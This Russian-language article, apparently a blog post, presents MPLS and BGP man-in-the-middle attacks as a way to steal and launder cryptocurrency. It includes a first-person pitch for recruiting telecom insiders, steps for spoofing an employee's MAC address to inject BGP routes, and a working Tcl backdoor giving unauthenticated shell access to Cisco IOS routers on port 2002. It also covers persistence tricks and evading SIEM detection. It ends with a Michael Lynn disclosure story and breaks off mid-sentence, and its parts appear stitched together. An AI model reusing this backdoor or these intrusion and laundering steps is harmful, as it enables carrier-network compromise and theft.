Технология MPLS(Multi-Protocol Label Switching) широко используется для повышения производительности сетей связи и обеспечения надежной маршрутизации IP трафика. Однако, несмотря на свою эффективность, она также может быть уязвимой к различным типам внешних воздействий, включая сценарии типа «Человек посередине» (Man-in-the-Middle,MiTM).
Сейчас мы рассмотрим как нарушитель может использовать методы MiTM-нападения на MPLS и какие риски это несет. Внешние воздействия mitm на сеть IP MPLS гораздо менее заметны, нежели реализация bgp hijacking с использованием сценариев bgp spoofing в гобальных сетях маршрутизации транзитного трафика.
Как работает MPLS MiTM?
MPLS MiTM — это тип внешнего воздействия на сети электросвязи, при котором нарушитель перехватывает трафик, проходящий через сеть IP MPLS, и тайно изменяет или просматривает его. Сеть IP MPLS работает путем присвоения меток (labels) каждому пакету данных, что значительно упрощает маршрутизацию в больших сетях. Нарушитель может вмешаться в процесс назначения этих меток и перенаправить нужный ему трафик через свой узел, что и является конечной точкой реализации любого MiTM сценария.
Что можно получить, применяя MiTM MPLS
Подмена меток. Нарушитель может внедриться в маршрут и подменить метки MPLS, чтобы трафик шел через его криптомост, сервер или маршрутизатор.
Перехват данных. После перенаправления трафика нарушитель может перехватывать пакеты, анализировать их, а затем передавать дальше, чтобы не вызывать подозрений.
Модификация трафика. В некоторых случаях нарушитель может модифицировать данные — изменять содержимое пакетов, что может привести к повреждению данных или утечке конфиденциальной информации, утечке зазкрытых ключей и проведению нелегальных транзакций в сети bitcoin или etherium.
Возможные сценарии реализации MPLS MiTM
Воздействие на LDP (Attacking on LDP). Протокол LDP отвечает за распространение меток между соседними маршрутизаторами в MPLS-сети. Каждый маршрутизатор использует LDP для назначения и передачи меток, которые указывают маршрут, по которому должен быть передан пакет данных. В процессе обмена метками LDP создает сессии между маршрутизаторами и поддерживает актуальные таблицы меток. В данном примере нарушитель при помощи Loki подключается к соседним маршрутизаторам, осуществляющим обмен метками, включается в цепочку обмена метками, и перехватывает трафик, направляя его через свои устройства. Для успешной реализации воздействия необходимо подключиться в сеть, к которой целевые маршрутизаторы сами подключены непосредственно.
Воздействие на ядро сети MPLS (Attacking mpls provider edge). Пример показывает как можно вбросить в сеть MPLS-VPN маршрутную информацию. Требуется предварительное конфигурирование bgp-маршрутизатора для установления сессии и взаимодействия с инструментом Loki.
Воздействие на маршрутизатор BGP (Practical mitm bgp attack against backbone router). После установления соединения с bgp-роутером инструмент Loki запускает фоновый поток, который отправляет пакеты поддержки активности keepalive для поддержания соединения с этим маршрутизатором bgp установленным и актуальности опубликованных маршрутов. Требуется предварительная настройка маршрутизатора bgp для установлении сессии с инструментом Loki.
Переклейка меток на лету (BGP hijacking from within the Carrier or Cloud Service). Инструмент Loki можно использовать для перемаркировки пакетов с тегами 802.1Q на лету. Как только нарушитель оказывается подключеным к сети в порт коммутатора на пути следования трафика, все увиденные соединения 802.1Q отображаются в модуле dot1q инструмента. Чтобы переклеить метку при передаче между двумя хостами, её просто нужно выбрать в меню и заполнить большинство полей для правила замены.
Получение доступа к устройтсвам в зоне IP/MPLS
MPLS — мощная технология для эффективной маршрутизации, однако она также уязвима для атак MITM. Для получения доступа к одному из устройств сети MPLS необходимо использовать комплексный подход, включающий bruteforce методы, сканирование сетей, а также комбинированные методы внедрения устройтсв в сети облачных провайдеров (How Can an Attacker Get into the Traffic Path?).
В связи с этим в криптовалютных системах разработчики криптомостов должны уделять больше внимания безопасной разработке смарт-контрактов и криптографических алгоритмов. Однако, даже многоуровневая защита сетевой инфраструктуры не играет в настоящее время никакой существенной роли, даже с использованием распределённых систем проверки транзакций, если нарушитель захочет воспользоваться методами mpls mitm, что значительно усложяет в настоящее время жизнь биткойнерам, эфирщикам и другим криптовалютчикам. Скачать инструмент Loki для mpls MiTM можно в блогеInsinuator.
Своего первого реального партёра по процессингу крипты, который показал мне как можно использовать сценарий bgp spoofing и реализовывать bgp hijacking для mitm на майнинг и мутить процессинг в крипте при помощи подмены маршрута в зоне bgp, я нашел случайно, когда еще трудился в Укртелекоме сменным инженером, немного подрабатывая настраивая сетевое оборудование налево, но потом этот человек отошел от дел в связи со слишком уж скользкой ситуацией в данной сфере, и я решил поискать партнера на форумах типа Darkmoney, разместив рекламу на трёх электронных досках объявлений. Честно говоря поначалу даже был готов сразу закинуть 10.000 долларов в Гарант, но потом призадумался, а стоит ли?
И ко мне начал обращаться народ обращается разных категорий…
1. Дебильная школота, которая что-то любит повтирать про свою серьезность и просит закинуть 10.000 USDT им на Coinbase или Huobi в качестве аванса.
2. Реальные мэны, которые льют сразу большую сумму в крипте и просят организовать им вывод в фиат по SWIFT без разговоров про гарантии и прочую шнягу, но после того, как им отдаёшь нал или отбиваешь MT103, они сразу пропадают, суть данных действий я так и не понял, зачем пропадать, если всё прошло итак гладко?
3. Мутные личности, берущие реквизиты криптокошелька и очень долго что-то пытающиеся залить в USDT, в итоге пропадают, хорошо если еще криптокошелёк после всех этих проделок с процессингом в крипте остаётся жив и не вносится в стоп листы криптовалютных бирж и обменников.
4. Серьезные судя по общению цисководы, очень долго насилуют мозг спрашивая про отзывы и сумму которую я смогу закинуть в Гарант, после того, как им предлагаю первыми закинуть Гаранту его комиссию, так как в случае их исчезновения я попадаю на комиссию, сразу сваливаются, стуча копытами или кричат что я кидала, так как отказываюсь от работы с их Гарантом.
5. Самые адекватные те, кто льет небольшую проверочную сумму и потом уже начинают лить в крипте серьезные деньги с жирных криптовалютных кошельков BitCoin или Etherium, но таких, к сожалению, попадается очень мало.
Итог моей работы в паблике: вложения примерно — 150.000 долларов США, которые с трудом окупились из за убитых фирм и банковских счетов, пластиковых карт, и учёток на криптобиржах и обменниках, которые продавцы лочат через 2 месяца после продажи, и прочих прелестей. Если люди обращаются по рекламе — тут уже не отличишь нормальных от ненормальных, для тех, кто обратился в первый раз, есть гостевой криптокошелёк, без привязки к биржам и другим сервисам, реквизиты которого даю всем подряд, на который можно лить крипту из любой помойки, а проверенным людям — уже потом предоставляю новые реки чистого криптокошелька, гостевой корпоративный счёт желательно постоянно проверять на работоспособность перед зачислением о отправкой на него денег с обменника или криптобиржи.
Найти сейчас грамотного человека, кто будет реально лить хорошие суммы в крипте стабильно вполне возможно, но для этого его нужно чем-либо заинтересовать, чтобы он согласился работать именно с тобой и ни с кем другим. Вы наверное сами всё хорошо знаете, что предложение обнала грязной крипты с выводом в фиат в сотни раз превышает число реальных людей, умеющих лить крипту через интернет с использованием техник mitm майнинга по сценарию bgp spoofing с реализацией bgp hijacking, которые ищут себе грамотных обнальных партнёров по обмену грязной крипты на фиат.
Однако, серьезных людей, которые кое-что понимает про bgp в криптоканалах, всегда можно заинтересовать своими хорошими связями в телекоммуникационной среде среде, умением решать любые скользкие вопросы в том или ином небольшом или скажем совсем скромном банке (а как вам уже наверное стало понятно, что ни один серьёзный процессор крипты не будет связываться с публичным банком), либо может пригодиться ваш предыдущий опыт работы в крупной телекоммуникационной компании, как это было в моём случае.
Можно также попытаться сработать с грамотным человеком, предоставив ему данные телеметрии OSS FM/PM системы какого-нибудь крупного телекоммуникационного холдинга, включая распечатку IP/MPLS сообществ — это значительно упростит или даже ускорит реализацию той или иной схемы процессинга крипты через mitm с майнинга и реализации bgp hijacking по сценарию bgp spoofing. С этой задачей вполне может справиться любой социализированный дроп, работающией сетевым инженером в такой крупной компании, маргинальные дропы для такой работы не годятся.
Хочу добавить, что все серьёзные люди, занимающиеся процессингом крипты после всем известных нам событий уехали за границу года три тому назад, и работают от туда, а работать с теми, кто остался по выводу крипты в рублевом пространстве — сплошной нудняк. Новичку без связей в банковской или телекоммуникационной среде влиться в эту тему просто нереально, если только не надеяться на чудо.
Как bgp атаки с подменой маршрута ставят под угрозу криптовалютные системы
BGP спуфинг и уязвимости криптомостов — это серьёзные проблемы, с которыми сталкивается современная интернет-инфраструктура и криптоиндустрия. Как мне рассказал один хороший знакомый, ему недавно удалось таки успешно осуществить вброс маршрута обхода криптоканала при помощи bgp sppofing и bgp hijacking, используя недостатки WiFi-инфраструктуры, которые, наверняка, присутствуют с сетях провайдеров и твоего города тоже.
Что такое BGP и причём тут криптовалютный обменник?
Протокол граничного шлюза (BGP) — это ключевая технология, обеспечивающая маршрутизацию данных между различными сетями в интернете. Он определяет, какие маршруты между сетями предпочтительнее, и помогает направлять трафик через сложную систему соединений. Однако BGP не имеет механизмов аутентификации, что делает его уязвимым для различного рода нарушителей.
BGP спуфинг
BGP спуфинг — это тип нарушений сетевой связанности, при которой нарушитель вбрасывает в сеть информацию, предназначаемую BGP роутеру, чтобы перехватить или изменить маршруты интернет-трафика. Нарушители могут «объявлять» о существовании маршрутов, которые на самом деле не принадлежат их сети. Это позволяет осуществлять mitm на майнинг, процессинг крипты, перехватывать данные транзакций и закрытых ключей, перенаправлять трафик на свои крипто каналы или мосты или вообще блокировать доступ к определённым ресурсам.
Такой подход может привести к потере данных о проведённых транзакциях, компрометации конфиденциальной информации, а также использованию сети для несанкционированной деятельности. Например, нарушитель может перенаправлять трафик от пользователей, желающих получить доступ к финансовым платформам, что позволяет проводить процессинг крипты, перехватывая транзакции.
Казалось бы, сбылась твоя мечта, и теперь ты, сидя во Вкусно и Точка, вкушая третий филе о фиш можешь легко и непринужденно копаться через беспроводное соединение в опроной сети местного или магистрального телекома, расположенного через дорогу? Что ж, такое вполне возможно, потому как безопасность такого провайдера, а значит и подключенных к нему криптоканалов и крипто мостов оставляет желать лучшего.
Слушаем сеть и качаем крипту
Итак, не теряя времени, можно запустить WireShark и начать мониторить периметр. Среди пакетов сразу можно увидеть SSL-рукопожатие на сайте провайдера…
К слову, как происходит авторизация соединения: сначала клиент коннектится к незащищенной WEP/WPA-точке, затем обращается браузером на любой сайт в Сети и редиректится на страницу авторизации. Там он вводит логин и пароль учётной записи, пополняемой путем отправки SMS-сообщения на специальный номер, и после этого, по всей видимости, на роутере создается правило, позволяющее выходить в интернет.
Так вот, после зашифрованной SSL-авторизации можно увидеть совершенно незакриптованные пароли от ВКонтакте и почты, крипто кошельков, внутреннего портала провайдера, слегка заXOR’енные пароли социальных сетей (которые легко вскрываются тем же Ufasoft Sniffer или InterCepter’ом), данные о транзакциях криптовалюты, BGP UPDATE пакеты, HELLO пакеты сервиса OSPF, и неприличные ссылки, ведущие на порносайты (совсем уже никого не стесняются современные инженеры электросвязи… :). Зная IP и MAC-адреса, фигурирующие в периметре (а они узнаются анализом ARP-сообщений), можно легко их проспуфить.
Итак, с помощью хорошей программы по смене МАС-адресов «MACChange» (или вручную, это уже кто как любит) изменим адрес своего беспроводного адаптера на известный нам МАС сотрудника телекома.
Не забудем присвоить себе его же IP адрес тоже. Затем попробуем подключиться к сети. О чудо, оказывается, сеть провайдера допускает как DHCP, так и Static адресацию. И, таким образом, можно наслаждаться и начинать деать вброс BGP UPDATE пакетов обновления маршрутной информации в магистральную сеть провайдера, потому как всё адреса роутеров и пароли bgp-сессии для этого уже были получены, кода мы использовали WireShark.
От себя хочу добавить, что вместо WireShark для получения паролей открывающих доступ в сеть телекоммуникационного провайдера многие грамотные люди предпочитают пользоваться пакетом Aircrack-NG, он очень удобный и содержит серию различных утилит для работы с беспроводными сетями.
Криптомосты и их уязвимости
Криптомосты (cross-chain bridges) — это специальные приложения, позволяющие обменивать активы между различными блокчейнами. Например, если пользователь хочет обменять Bitcoin на Ethereum, криптомосты обеспечивают возможность такой транзакции, сохраняя функциональность блокчейнов. Однако из-за своей сложной структуры они становятся целью для нарушителя.
Криптомосты взаимодействуют с несколькими блокчейнами, и если один из них уязвим, это может поставить под угрозу всю систему. Основные инциденты с криптомостами связаны с перехватом транзакций, взломом смарт-контрактов и использованием уязвимостей в криптографических алгоритмах. Недавние случаи показывают, что были украдены миллионы долларов в крипте, используя уязвимости криптомостов, что делает этот вопрос особенно актуальным для пользователей и разработчиков.
Как BGP спуфинг угрожает криптомостам?
BGP спуфинг может оказаться серьёзной угрозой для криптомостов. Один из сценариев заключается в том, что нарушитель может перенаправить трафик между криптомостами, перехватывая ключевые данные, такие как криптографические ключи или транзакционные записи. Это позволяет несанкционированно изменять или отменять транзакции.
Более того, BGP hijacking может затронуть серверы, которые обеспечивают поддержку криптомостов. Например, если нарушитель получает доступ к серверам, обрабатывающим транзакции, он может подменить данные, создавая ложные транзакции или даже полностью опустошить криптомост, что приведёт к серьёзным финансовым потерям.
Примерно именно так и льют крипту через mitm с майнинга или обменников при помощи bgp spoofing и bgp hijacking в настоящее время.
Обычно мониторинг ситуаций, связанных с перехватом трафика через bgp затруднен и в siem очень трудно отследить что-то связанное с изменением маршрутов трафика при помощи внедрения bgp нарушителем. Поговорим немного о том, как можно использовать маршрутизаторCisco Systems с привилегированным доступом level 15, что позволяет для реализации сценариев bgp spoofing с использованием встроенного в него функционала скриптового движка TCL.
Вариантов изменения маршрутов (создание bgp обхода) в сети Интернет может быть несколько, однако самый простой из них — получению доступа к роутеру, а уже эту задачу можно решать различными способами и методами, мне на ум пришло несколько таких:
Брутфорс пароля от интерфейса управления BGP;
Получение доступа посредством угона почты/аккаунта/компьютера одного из сотрудников или администраторов какого-нибудь провайдера (который рулит этим bgp роутером);
Поиск или эксплуатация уже существующих багов в BGP-сервере для обхода, запущенном на Linux-машине (по моему опыту, это чаще всего это Bird, Quagga (FRR) или же это будет стандартный девайс Cisco, Juniper или Huawei);
Получение доступа к управлению софтовым маршрутизатором BGP через сторонние сервисы, запущенные на этом же Linux-сервере;
«Вклинивание» в уже установленную BGP сессию между определенными узлами, но об этом мы поговорим чуточку позже, или напишите мне в личку.
Сейчас я опишу несколько вариантов реализации mitm bgp метода, и поверь, их использование действительно приводит к повышению прав на, якобы, защищенном маршрутизаторе под управлением Cisco IOS. Тебе это сильно пригодится для более глубокого осмысления роли bgp в криптоканалах как раз для создания своего bgp сервера для обхода и приземления нужного тебе трафика на свой мост.
Tcl – это Tool Command Language, язык сценариев, часто применяемых с графической библиотекой Tk, был придуман в начале 80-х годов и из-за своей простоты продолжает повсеместно использоваться как встроенный в различные приложения; вспомним хотя бы программы expect или irc-ботов eggdrop, а также использование его как модуля к серверной части apache mod_tcl. В операционную систему Cisco IOS, используемую маршрутизаторами Cisco Systems, интерпретатор Tcl был внедрён начиная с версии IOS 12.3(2)T, что позволило реализовать в маршрутизаторах Cisco Systems функции выполнения «пользовательских» скриптов. Как наиболее часто встречаемый пример, использование IOS IVR для создания интерактивных голосовых меню в системах IP-телефонии.
Используя функционал Tcl, мы имеем возможность работать с сокетами, в данном случае открывается некоторая перспектива использования маршрутизатора под управлением Cisco IOS для следующих действий:
Разработки собственного варианта «бэкдора» с целью закрепления системы и доступа к ней в обход штатных механизмов защиты;
Перехват bgp-сессии с подменой маршрутов или внедрением своего маршрута;
Проведения сканирования портов в различных сегментах сети;
Проброса действующих портов на порт интерфейса, организации обратного (реверсного) доступа к удаленным устройствам;
Процессинг крипты через подмену маршрута bgp до криптомоста с китами и подмена смартконтрактов на этом мосте;
Создание bgp обхода для инфильтрации трафика на своём оборудовании;
Разработки вариантов скриптов для возможности перебора паролей (брутфорса) различных устройств и серверов в сети.
Данными методами также можно воспользоваться для процессинга крипты, получив доступ к TFTP-серверу телеком провайдера, где размещены существующие активные TCL-сценарии и принудительно заменить существующий сценарий на собственный, предназначенный для реализации bgp spoofing сценария или создания bgp сервера для обхода криптомоста с последующим приземлением трафика китов на свой мост. В этом случае произойдет загрузка именно твоего сценария TCL и запуск его на граничном bgp-маршрутизаторе.
Практикуемся
Давай попробуем понять, как это можно реализовать с помощью удаленного шелла, который можно использовать без явной аутентификации с входом на назначенный порт по протоколу Telnet. Подобный сценарий недавно использовался в качестве задания на соревнованиях «Рускрипто CTF«.
В первую очередь давай разберем, как работает Tcl на устройствах под управлением Cisco IOS.
Загрузка и исполнение TCL-скрипта:
Для первичной загрузки TCL-скриптов необходимо иметь привилегированный доступ не ниже уровня 15 enable. Скрипт Tcl необходимо загружать удаленно на маршрутизатор Cisco, для этого можно использовать такие протоколы, как TFTP, FTP, RCP, SCP. Загрузку и выполнение скрипта можно выполнять как напрямую в RAM-маршрутизатора, так и в FLASH-память c последующим его запуском с файловой системы Cisco IOS.
Вот так выглядит загрузка скрипта во FLASH память и последующее его выполнение:
Ниже приведен пример TCL-скрипта, который при запуске захватывает сокет на порт TCP/2002 и связывает его с интерфейсом командной строки (EXEC). Загрузка скрипта выполняется методами, описанными выше (в приведенном примере с сервера TFTP).
catch {exec $line} result if {[catch {puts $sock $result}]} { return [close $sock] }
puts -nonewline $sock "Router# " flush $sock }
set port 2002 set sh [socket -server callback $port] vwait var close $sh
После загрузки и последующего запуска вышеприведенного сценария появится возможность зайти в систему режим EXEC без использования учетных записей и выполнять любые команды с использованием привилегий супер-пользователя level 15.
[ptsec@maxpatrol ~]$ telnet router 2002 Trying 192.168.1.10... Connected to router. Escape character is '^]'.
Cisco router admin console:
Router#
Далее я бы хотел рассказать о некоторых ограничениях, которые необходимо помнить при работе с Tcl на устройствах под управлением Cisco IOS. В ранних версиях Cisco IOS, включающих поддержку Tcl, скрипт продолжал свою работу даже при прерывании EXEC-сессии. В новых версиях последовало исправление, которое завершает работу скрипта при обрыве линии или по команде clear line. Этот «патч-фикс» производителя можно обойти несколькими способами:
1. На линиях, (console 0 или vty 0 4), с которых запускается скрипт, применить команду exec-timeout 0 0, в противном случае по завершении сессии пользователя скрипт завершит свою работу.
Router>en Router#conf t Enter configuration commands, one per line. End with CNTL/Z. Router(config)#line vty 0 4 Router(config-line)#exec-timeout 0 0
2. Производить запуск сценария с использованием апплетов EEM (Embedded Event Manager) по триггеру, которым может быть любое действие, в том числе периодический запуск по таймеру. На примере ниже показана конфигурация Cisco IOS, которая загружает скрипт с TFTP сервера после запуска маршрутизатора по истечении 20 секунд.
3. Конвертировать TCL-сцкнарий в формат политик EEM (Embedded Event Manager) и запускать их по триггеру, которым может быть любое действие, в том числе периодический запуск по таймеру.
Готовые утилиты и сценарии bgp spoofing
В ряде ситуаций можно использовать готовые сценарии, такие как IOScat и IOSmap, входящие в IOScat, позволяющие осуществлять проброс портов, прием и передачу файлов путем манипуляций с сокетами. Используя встроенный в Cisco IOS язык TCL, можно использовать маршрутизатор аналогично ПК с установленным приложением Netcat, предварительно загрузив скрипт TCL во flash-память маршрутизатора или через TFTP-сервер напрямую в RAM. Методика загрузки и установки TCL-скрипта на маршрутизатор описана выше.
Примеры реализации:
Организация бэкдора на маршрутизаторе (2002 порт):
У данного сценария есть много других примеров, например копирование файлов с использованием сокетов, имитация телнет-сессии на удаленном хосте и много других функций, которые можно посмотреть на сайте разработчика.
Сценарий с названием IOSmap – не что иное, как попытка создать аналог сканера nmap, конечно, в урезанном функционале, но в данном случае достаточно эксклюзивным для работы в среде Cisco IOS. Функционал этого TCL-скрипта позволяет производить сканирование диапазонов IP-адресов на открытые TCP/UDP-порты, в том числе используя метод инвентаризации хостов посредством протокола ICMP.
Starting IOSmap 0.9 ( http://www.defaultroute.ca ) at 2002-03-01 02:59 UTC
Free Memory on Platform = 29038388 / Memory required for this scan = 2622514
Host 192.168.1.1 is unavailable
Host 192.168.1.2 is unavailable
Host 192.168.1.3 is unavailable
Interesting ports on host 192.168.1.4 PORT STATE SERVICE 20/tcp closed ftp-data 21/tcp closed ftp 22/tcp closed ssh 23/tcp closed telnet 24/tcp closed priv-mail 80/tcp open http 443/tcp closed https
Host 192.168.1.5 is unavailable
Router#
Изменение вариантов сканирования скрипта возможно путем добавления аргументов:
-sP – только по ответу хоста;
-sT – TCP-портов методом TCP connect;
-sU – UDP-портов через функционал IP SLA.
Учитывая богатые возможности языка ТСL, можно разработать множество подобных, интересных приложений для реализации их в сетевой среде на оборудовании под управлением Cisco IOS для применения в локальной вычислительной сети провайдера для реализации bgp spoofing сценариев.
Как скрыться от SIEM
Имея возможность запускать сценарии TCL, также интересно иметь возможность отследить их исполнение в среде Cisco IOS. Сделать это можно, подсмотрев процессы и состояние портов на маршрутизаторе, используя следующие команды маршрутизатора:
Router#show processes cpu | i Tcl 212 2284 17762 128 3.68% 2.88% 0.67% 162 Tcl Serv - tty16
Начиная с версии IOS 12.4(4)Т появилась возможность использования CPP (Control Plane Policy):
Router#show control-plane host open-ports Active internet connections (servers and established) Prot Local Address Foreign Address Service State tcp *:23 *:0 Telnet LISTEN tcp *:23 192.168.1.4:1379 Telnet ESTABLIS tcp *:80 *:0 HTTP CORE LISTEN tcp *:1234 *:0 Tcl Serv - tty163 LISTEN
Инженер электросвязи шатает BGP
Таким образом, все поняли, что любую, даже самую защищенную провайдерскую Cisco можно захватить умело написанным и запущенным TCL-сценарием. В итоге ты получаешь шелл для манипулирования трафиком в глобальной сети Интернет для реализации нужных тебе сценариев bgp spoofing для проведения mitm с криптой со всеми вытекающими отсюда последствиями.
«Я считаю, что должен сделать то, что необходимо — для страны в целом и национальной инфраструктуры, в частности. У меня есть информация, что подрывные элементы уже активно занимаются диверсионной деятельностью против Cisco IOS. Я считаю необходимым рассказать всем, что да, Cisco IOS уязвима»
Майкл Линн
Дыра, обнаруженная в маршрутизаторах Cisco и обнародованная на хакерской конференции Black Hat 2005 USA, наделала столько шуму, что попала на страницы некомпьютерных газет. О ней много пишут, но все как-то в общих словах никакой конкретики. Говорят о скором конце интернета, пугают захватом управления над магистральными каналами связи, но исходных кодов эксплоита не показывают…
Все началось с того, что 26 января 2005 года, телекоммуникационный гигант Cisco Systems, Inc. обнародовал сообщение о дыре в своей новой операционной системе Cisco IOS, установленной на миллионах маршрутизаторах ( Cisco Security Advisory: Multiple Crafted IPv6 Packets Cause Reload ). Однако, информация была неполной, технические детали отсутствовали и добыть их легальным путем не удавалось. Cisco явно что-то скрывала, прячась за туманными фразами, которые можно было трактовать и так, и эдак. Компания ISS (Internet Security Systems), специализирующаяся на информационной безопасности, решилась на собственное расследование. Провести его поручили молодому 24 летнему, но довольно продвинутому хакеру Майклу Линну (Michael Lynn). Шеф вызвал его к себе на ковер и спросил: «Can you reverse-engineer… can you disassemble Cisco IOS… to find out what their vulnerability is?» /* Можешь ли ты дизассемблировать Cisco IOS и разобраться с этой уязвимостью?» */. Ну какой бы хакер ответил нет?
Всю ночь Майкл пил кофе изучая Cisco IOS, но все-таки нашел… совсем другую дыру, намного более коварную и могучую. К в общем-то безобидной перезагрузке (reload) добавился захват управления, а это уже серьезно. Представитель ISS немедленно позвонил в Cisco Systems, Inc. и сказал: «OK, we aren’t 100 percent sure that we found the same bug that you’re talking about, but it’s important we find out because the one we found has much, much greater impact. You said there’s (the possibility) of a denial-of-service attack. But the one we found is fully exploitable» /* Хорошо, мы на 100% не уверены, что мы нашли тот же самый баг, о котором вы говорили, но наш баг, гораздо более серьезен. Вы говорили, что возможен только отказ в обслуживании, но баг, найденный нами, допускает захват управления» */, но там не поверили: «You guys are lying. It is impossible to execute shell code on Cisco IOS» /* Ваш парень лжет. Это невозможно выполнить shell-код на Cisco IOS */.
Майкла снова вызвали на ковер, приказав написать экплоит: «Mike, your new research project is Cisco IOS. Go find out how to exploit bugs on Cisco IOS so we can prove these people wrong» /*Майкл, твой новый исследовательский проект есть Cisco IOS. Вынь да положь рабочий эксплоит для Cisco IOS, чтобы мы могли доказать, что те редиски не правы */
Весь следующий месяц Майкл провел в ожесточенных исследованиях. Но даже имея работоспособный эксплоит на руках, ISS так и не смогла убедить телекоммуникационного гиганта, что его марштутизаторы дырявы как старый галош. Только 14 июня (т. е. спустя три месяца!) они выслали инженера, который охарактеризовал себя как «архитектор Cisco IOS«, чтобы закрыть этот вопрос раз и навсегда. Майкл в присутствии адвоката продемонстрировал работу эксплоита, натянув маршутизатор по самые помидоры. Это повергло инженера в глубокий шок, но вместе с тем и развеселило: «Wow, that’s cool» /* Вау! Это круто! */. Инженер ознакомился с черновой версией презентации, которую Майкл планировал продемонстрировать на конференции Black Hat и укатил назад в свою компанию…
Руководство ISS отнеслось к презентации с большим одобрением: «Hey, you want to go to Black Hat? We’d like you to do it» /* Эй, ты хочешь выступить на Black Hat’е? Это нам нравится! */ и порекомендовало распространить эксплоит среди всех тестеров компании: «Give this to all the sales engineers and to all the pen testers» /* Раздай его всем инженерам по продажам и всем бумажным тестерам */, но Майкл опасался за последствия: «You do realize if you do that, it’s going to leak?» /* Неужели вы не понимаете, что если вы это сделаете, то произойдет утечка? */. Руководство, недоуменно пожав плечами, возразило: «That’s Cisco’s problem» /* Это проблема Cisco */. Короче все шло своим чередом. Презентация готовилась, а конференция приближалась.
Неожиданно Майкла вздернули на ковер и под угрозой увольнения запретили упоминать факт дизассемблирования Cisco IOS. Затем его пригласил на пиво большой босс из Cisco Systems, Inc. и предложил отложить презентацию… на год. До тех пор пока не будет выпущена новая версия операционной системы. Телекоммуникационный гигант осознавал угрозу, но отчаянно не хотел, чтобы ее осознали другие. Сошлись на том, что вместе с Майклом на сцену поднимается парень из Cisco Systems, Inc., который скажет «пару слов», очевидно, обозвав докладчика лжецом, но Майкла это не беспокоило. Чтобы развязать себе руки он уволился из ISS, решив прочитать доклад во чтобы то ни стало. Кто-то же должен предупредить народ об опасности! И доклад «The Holy Grail: Cisco IOS Shellcode and Remote Execution» был действительно прочитан! Эффект разодрал аудиторию взрывом атомной бомбы. Майклом заинтересовались Военно-воздушные силы, Booz Allen Hamilton, Агентство Национальной Безопасности и конечно же, небезызвестный CERT. Они предложили ему подключиться к проекту по разработке анти-хакерской стратегии выхода из ситуации, но это уже другая история. Вернемся к Cisco Systems, Inc., чья реакция оказалась весьма неоднозначной. Во-первых, при содействии организаторов Black Hat 2005 USA она изъяла текст презентации из материалов конференции и конфисковала сопроводительные компакт-диски, заменив их точно такими же, но без доклада. Во-вторых, она обвинила Майкла во всех смертных грехах и в краже интеллектуальной собственности в том числе.
Сейчас Майкла ожидает куча судебных исков и разбирательств, а Cisco System, Inc. ведет охоту на всех тех, кто осмелился выложить копию доклада в Интернет. К счастью, всемирная сеть живет по своим законам и любые попытки взять ее под контроль имеют обратный результат. Копии плодятся как кролики.
Неверно считать, что до презентации оборудование под управлением Cisco IOS считалось неуязвимым. Так думать мог либо некомпетентный специалист, либо коммерсант. Это не первая и не последняя уязвимость в Cisco IOS. Дыры в маршрутизаторах обнаруживались и раньше. За последние пять лет их накопилось около двух сотен, в чем легко убедиться, посетив сайт cisco.com, а ведь это только официально подтвержденные уязвимости! Неподтвержденных, естественно больше.
Существует множество эксплоитов, в том числе и с переполнением буфера, через который засылается shell-код, берущий маршрутизатор под свой контроль. Их можно найти практически на любом хакерском сайте. В частности, еще три года назад в Cisco IOS обнаружилось переполнение буфера, приводящее к захвату управления и был написан демонстрационный эксплоит продемонстрированный на конференции Black Hat 2002 Asia «Attacking Networked Embedded Systems», детально описанный в 60 номере журнала Phrack «Burning the bridge: Cisco IOS exploits«.
Так что заслуги Майкла и масштабы угрозы сильно преувеличены. Он не был первопроходцем. Обнаруженная им уязвимость применима только к IPv6, и только к IP-пакетам, пришедшим с локального интерфейса. То есть, взломать свой собственный маршрутизатор можно, а вот чей-то чужой, взятый наугад, уже нет. Вот тебе и власть над магистральными каналами, вот тебе и Интернет, поставленный на колени.
Вопреки распространенному мнению, рабочий код эксплоита ни на конференции, ни в сопроводительных материалах, так и не был продемонстрирован. Майкл не оставил никаких намеков в каком направлении рыть, но это не помешало остальным хакерам повторить его подвиг, и дыра была открыта заново, однако, о каком бы то ни было практическом использовании говорить слишком рано. IPv6 полностью войдет в нашу жизнь не через год, и не через два, а к тому времени Cisco IOS будет повсеместно или практически повсеместно обновлена. Впрочем, кое-где IPv6 все-таки используется (особенно у аплинков или в Швейцарии, недавно ставшей на первое место по применению IPv6), так что подходящую «дичь» можно найти всегда.
Дыры в маршрутизаторах — вполне закономерное явление, которого следовало ожидать
Еще ни одному разработчику не удалось реализовать TCP/IP без ошибок. Обнаруженные уязвимости — симптом тяжелой болезни. До сих пор маршрутизаторы работали лишь потому, что выпадали из поля зрения хакеров, которым намного более выгодно ковырять Windows/Java/AdobeFlashPlayer, чем возиться с Cisco IOS. Оно и понятно. Традиционные операционные системы у каждого стоят на столе, а вот до маршрутизатора еще дотянуться нужно! Завладеть такой штукой может далеко не каждый, к тому же дизассемблирование Cisco IOS требует высокой квалификации и специальной подготовки. Готовой информации нет никакой и каждый шаг требует кучи исследований. Вместо наезженной дороги перед нами расстилается сумеречная тьма непроходимой местности, усеянной множеством ловушек. Впрочем, не все так сложно, потому как не боги горшки обжигают, и что сделано одним человеком, может быть понято другим. И главное тут даже не знания.
Главное — это желание и настойчивость В Cisco Systems, Inc. наступила на грабли. И скоро получит в лоб. Они выиграли тактическое сражение, но проиграли стратегическую войну. Попытка удержать информацию под спудом, породила скандал, а скандал породил интерес. Хакеры всколыхнулись и бросились штурмовать Cisco IOS. «Причина, по которой мы это делаем, заключается в том, что кто-то сказал: вы не сделаете этого» — сказал один из них. «Линн не ограничился только идеями, хотя и не сообщил всех деталей. Но он сказал достаточно, чтобы люди могли понять, как им действовать, и они сделали это» — добавил другой.
Всплеск интереса к IOS обещает принести множество новых дыр, так что следующий год должен быть весьма «урожайным». Но как подступиться к маршрутизатору? Монитора нет, клавиатуры нет… Какие инструменты нам понадобиться? Какие машинные языки следует изучить? Короче, для начала исследований нам нужен хороший стартовый пинок… э… толчок.
Архитектурно маршрутизатор под управлением Cisco IOS состоит из материнской платы, процессора, памяти, шины и интерфейса ввода/вывода. Процессоры довольно разнообразны. В зависимости от модели маршрутизатора в них может быть установлен и традиционный Intel, и Motorola, и MIPS. В частности, на дизассемблерных фрагментах, приведенные в презентации Майкла, легко узнаются PowerPC, так что поклонники x86 отдыхают или в срочном порядке изучают ассемблеры для остальных платформ. Вот перечень используемых процессоров в маршрутизаторах Cisco:
Полностью укомплектованный маршрутизатор несёт на своём борту четыре вида памяти:
